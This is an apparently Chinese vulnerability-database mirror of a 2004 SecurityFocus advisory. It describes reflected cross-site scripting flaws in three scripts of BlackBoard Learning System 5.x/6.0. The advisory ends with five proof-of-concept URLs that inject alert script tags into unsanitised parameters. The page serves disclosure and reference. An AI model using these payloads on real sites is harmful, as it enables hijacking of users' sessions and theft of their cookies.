BlackBoard Learning System 5.x/6.0 – Multiple Cross-Site Scripting Vulnerabilities

BlackBoard Learning System 5.x/6.0 – Multiple Cross-Site Scripting Vulnerabilities

漏洞ID 1054442 漏洞类型
发布时间 2004-04-12 更新时间 2004-04-12
图片[1]-BlackBoard Learning System 5.x/6.0 – Multiple Cross-Site Scripting Vulnerabilities-安全小百科CVE编号 N/A
图片[2]-BlackBoard Learning System 5.x/6.0 – Multiple Cross-Site Scripting Vulnerabilities-安全小百科CNNVD-ID N/A
漏洞平台 CGI CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/23986
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/10101/info

Blackboard Learning System has been reported prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly validate user supplied URI input.

The first issue is reported to affect the "addressbook.pl" script. The second issue is reported to affect the "tasks.pl" script. The third issue is reported to affect three URI parameters, of the "calendar.pl" script.

In all cases the user-supplied parameters are not sufficiently sanitized prior to being rendered in the browser of the target user.

These issues could permit a remote attacker to create a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/bin/common/addressbook.pl?action=ADD&nav=my_addressbook&course='%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E
http://www.example.com/bin/common/tasks.pl?action=c&display=T.subject&filter=--!!all&course_id=&render_type='%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E
http://www.example.com/bin/common/calendar.pl?course_name=%22%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E
http://www.example.com/bin/common/calendar.pl?courseID=%22%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E
http://www.example.com/bin/common/calendar.pl?subroutine=%22%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E

相关推荐: Solaris chkey Vulnerability

Solaris chkey Vulnerability 漏洞ID 1105082 漏洞类型 Boundary Condition Error 发布时间 1997-05-19 更新时间 1997-05-19 CVE编号 N/A CNNVD-ID N/A 漏洞平台…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享